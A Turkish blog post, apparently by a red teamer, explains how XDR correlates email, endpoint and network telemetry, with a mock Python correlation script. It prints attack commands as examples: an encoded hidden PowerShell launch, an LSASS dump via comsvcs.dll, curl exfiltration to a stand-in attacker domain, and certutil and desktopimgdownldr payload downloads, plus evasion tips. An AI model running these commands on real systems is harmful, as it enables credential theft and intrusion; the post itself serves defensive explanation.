Görmediğin Bir Şeyi Durduramazsın: XDR Balonunu Şişirmeden Gerçekleri

Hatırlarsın, bir zamanlar "Antivirüs kuruluysa güvendeyiz" düşüncesindeydik. Sonra saldırganlar polimorfik kodlarla, obfuscation teknikleriyle gelmeye başlayınca o imzalar patladı. Sonra "Tamam abi, EDR (Endpoint Detection and Response) her şeyi çözer" dedik. Ama bugün geldiğimiz noktada, sadece bir uç noktada ne olup bittiğini bilmek, fırtınanın sadece bir damlasını izlemek gibi kalıyor. Eskiden 8 karakterli parolalar "yeterli" gelirdi, şimdi MFA bile (ayrı bir yazının konusu olsun) bazen yetmiyor. Trend artık tek bir noktaya odaklanmaktan, tüm resmi görmeye yani "bağlam" (context) kurmaya kaydı. İşte XDR (Extended Detection and Response) dediğimiz o meşhur üç harfli kısaltma tam burada devreye giriyor ama gel bu olayın pazarlama kısmını bir kenara bırakıp mutfağına girelim.

Neden Sadece EDR Yetmiyor? (Bir Red Teamer İtirafı)

Biz Red Team tarafında bir operasyon yaparken en çok sevdiğimiz şey "silo"lardır. Network ekibinin endpoint’ten haberi yoktur, mail ekibi network loglarına bakmaz, firewall ekibi ise sadece "allow/deny" peşindedir. Biz bu aradaki boşluklarda dans ederiz.

Mesela, testCompany bünyesinde bir sızma testi yaptığımızı düşün. Bir kullanıcıya oltalama (phishing) maili attık. Kullanıcı linke tıkladı, bir Word dosyası indirdi ve makro çalıştı. EDR burada "Hoppala, Word neden PowerShell çalıştırıyor?" diyebilir. Ama biz bunu LolBins (Living off the Land Binaries) kullanarak veya bellekte (in-memory) yaparak atlattık diyelim. Eğer sadece uç noktaya bakıyorsan, o PowerShell'in hangi IP'ye gittiğini veya o mailin kimden geldiğini o anki alert içinden şak diye göremeyebilirsin. İşte XDR, bu "noktaları birleştirme" işini otomatiğe bağlamaya çalışıyor.

XDR’ın Mutfağı: Correlation Engine Nasıl Çalışır?

XDR'ı EDR'dan ayıran en büyük fark, veriyi sadece uç noktadan değil; ağdan (NDR), buluttan (Cloud Security), e-postadan ve kimlik yönetim sistemlerinden (IAM) alıp bir potada eritmesi. Bir Red Teamer olarak benim işimi zorlaştıran şey, yaptığım her hareketin farklı bir katmanda iz bırakması ve XDR’ın bu izleri "Aha, bu bir bütün!" diyerek karşıma çıkarması.

Basit bir örnek üzerinden gidelim. Bir saldırganın izleyebileceği yolu simüle eden şu terminal çıktısına bakalım:

# Adım 1: Phishing üzerinden gelen payload'ın çalıştırılması
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsA...

# Adım 2: LSASS dump denemesi (Credential Harvesting)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full

# Adım 3: Dışarıya veri sızdırma (Exfiltration)
curl -F "file=@C:\temp\lsass.dmp" http://evil-attacker-domain.com/upload

Eğer sadece bir "log toplama" makinen varsa, bunlar üç ayrı log satırı olarak düşer. Ama akıllı bir XDR korelasyon motoru şunu der:

Email Layer: [email protected] adresine evil-attacker-domain.com üzerinden bir link geldi.
Endpoint Layer: Aynı kullanıcı bu mailden sonra bir PowerShell başlattı ve lsass.dmp dosyası oluşturdu.
Network Layer: Bu lsass.dmp dosyası HTTP POST ile evil-attacker-domain.com adresine gönderildi.

XDR bunları birleştirip sana tek bir "Incident" (Olay) olarak sunar. Biz buna "Incident Graph" diyoruz. Eğer XDR olmasaydı, SOC analisti arkadaşım gece 3'te üç farklı alert ile boğuşup "Acaba bunlar birbiriyle alakalı mı?" diye düşünmekten uykusuz kalacaktı.

Kodun İçindeki Tehdit: Detection-as-Code

XDR'ın en sevdiğim yanı, artık kural yazmanın bir sanat haline gelmesi. Artık statik kurallar yerine daha dinamik, davranışsal analizler yapıyoruz. Mesela bir Python scripti ile XDR API'sini kullanarak ortamda anomali taraması yapan bir logic kurabiliriz.

Aşağıdaki sahte (mock) kod örneği, bir XDR sisteminin farklı kaynaklardan gelen verileri nasıl eşleştirdiğini anlamana yardımcı olabilir:

# XDR Correlation Logic Simulator
def check_incident_correlation(events):
    incidents = []
    
    # Şüpheli olayları grupla
    phishing_events = [e for e in events if e['type'] == 'email' and e['risk_score'] > 7]
    endpoint_events = [e for e in events if e['type'] == 'process' and e['name'] == 'powershell.exe']
    network_events = [e for e in events if e['type'] == 'network' and e['dest_ip'] in known_bad_ips]

    for mail in phishing_events:
        for proc in endpoint_events:
            # Zaman damgası ve kullanıcı eşleşmesi kontrolü
            if mail['user'] == proc['user'] and (proc['timestamp'] - mail['timestamp']) < 300:
                for net in network_events:
                    if net['user'] == proc['user'] and (net['timestamp'] - proc['timestamp']) < 300:
                        incidents.append({
                            'severity': 'CRITICAL',
                            'description': f"Possible Phishing to Exfiltration chain detected for user {mail['user']}",
                            'involved_entities': [mail['id'], proc['id'], net['id']]
                        })
    return incidents

# testCompany için örnek bir veri seti
mock_events = [
    {'id': 1, 'type': 'email', 'user': 'sedat', 'risk_score': 9, 'timestamp': 1625000000},
    {'id': 2, 'type': 'process', 'user': 'sedat', 'name': 'powershell.exe', 'timestamp': 1625000100},
    {'id': 3, 'type': 'network', 'user': 'sedat', 'dest_ip': '45.12.33.11', 'timestamp': 1625000200}
]

known_bad_ips = ['45.12.33.11']
print(check_incident_correlation(mock_events))

Bu mantık, binlerce log arasından o kritik "iğneyi" bulup çıkarmayı sağlıyor. Red Teamer olarak benim işim, bu korelasyonun "zaman" (time window) veya "entity" (kullanıcı/makine adı) parametrelerini nasıl şaşırtabileceğimi düşünmek.

"Extended" Kısmındaki Gizli Kahraman: Telemetri

XDR'ı X yapan şey aslında telemetry verisidir. Telemetri, sadece "bir şey oldu" demek değil, "o şey olurken etrafta neler değişti" demektir. Bir saldırgan olarak ben sisteme sızdığımda WhoAmI yazdığımda bile bir telemetri oluşur.

Peki, XDR burada neden SIEM'den (Security Information and Event Management) farklı? SIEM her şeyi toplar ama anlamlandırması zordur, yavaştır ve çok fazla storage ister. XDR ise daha odaklıdır; genellikle aynı üreticinin veya entegre çalışan birkaç üreticinin ürünlerinden gelen ham telemetriyi kendi bulutunda (cloud) işler. Bu da bize "Hız" kazandırır.

Bir testCompany senaryosunda, saldırganın lateral movement (yanal hareket) yaparken kullandığı WMI veya PsExec trafiğini XDR nasıl yakalar? Sadece process loguna bakmaz. Ağdaki RPC trafiğini, hedef makinedeki yeni oluşan servisi ve o servisi oluşturan kullanıcının o makineye daha önce login olup olmadığını kontrol eder.

Payload Avcılığı: XDR'ı Atlatmak Mümkün mü?

Tabii ki hiçbir sistem kusursuz değil. XDR'lar genellikle davranışsal analiz (behavioral analysis) yaptığı için, "gürültü" (noise) içinde saklanmak hala bir opsiyon. Örneğin, çok sık kullanılan bir admin aracını (mesela RDP veya SSH) alışılmışın dışındaki saatlerde ama çok az veri transferi yaparak kullanırsan, XDR'ın eşik değerlerini (thresholds) aşmayabilirsin.

Veya "Living off the Land" tekniklerini abartıp, işletim sisteminin kendi imzalı dosyalarını kullanarak (LOLBAS) algoritmaları zorlayabilirsin. İşte bir örnek; meşhur certutil.exe ile dosya indirmek yerine, çok daha az bilinen bir binary üzerinden gitmek:

# Klasik yöntem (XDR bunu hemen yakalar)
certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe

# Daha sinsi bir yöntem (Korelasyon motorunu zorlayabilir)
# Desktopimgdownldr.exe kullanımı
set "dest=C:\temp\bg.jpg"
desktopimgdownldr.exe /lockscreenurl:http://attacker.com/payload.exe /sext0:C:\temp\payload.exe

Burada XDR'ın başarısı, desktopimgdownldr.exe sürecinin neden internete çıktığını ve neden C:\temp altına bir dosya yazdığını sorgulamasında yatıyor. Eğer XDR sadece "bilinen kötü process" listesine bakıyorsa bunu kaçırır. Ama "bu process normalde internete çıkmaz, çıktıysa şüphelidir" diyen bir baseline’ı varsa, geçmiş olsun dostum, yakalandın.

Son Düzlükte Neyi Değiştiriyoruz?

Günün sonunda olay "Silo'ları yıkmak" meselesine geliyor. XDR bize şunu öğretti: Güvenlik, bir ürün değil bir süreçtir ve bu sürecin en yakıtı veridir. Ama bu veri, bir çöp yığını gibi bir yere atılmamalı, birbiriyle konuşmalıdır.

Eğer testCompany gibi büyük bir yapıyı koruyorsan; endpoint'in ağla, ağın bulutla, bulutun ise identity ile konuştuğundan emin olmalısın. XDR, bu dili konuşan bir tercüman gibi. Biz Red Team tarafında her zaman bir açık kapı bulmaya çalışacağız, bu bizim işimiz. Ama o kapıdan geçtiğimiz anda tüm evin ışıklarının yanması ve alarmın "Sedat şu kapıdan girdi, şu odaya geçti, şu kasayı açmaya çalışıyor" demesi, işte o XDR’ın gerçek gücü.

İşin özü; teknoloji geliştikçe bizim saldırı vektörlerimiz değişiyor, savunma da buna ayak uydurmak için "genişlemek" (extended) zorunda kalıyor. Bir dahaki sefere bir tool seçerken veya kural yazarken kendine şunu sor: "Bu bilgi, resmin tamamının neresinde duruyor?"

Hadi şimdi loglara dönüp bakalım, gerçekten her şeyi görüyor muyuz, yoksa sadece gördüğümüzü mü sanıyoruz?

Görmediğin Bir Şeyi Durduramazsın: XDR Balonunu Şişirmeden Gerçekleri Konuşalım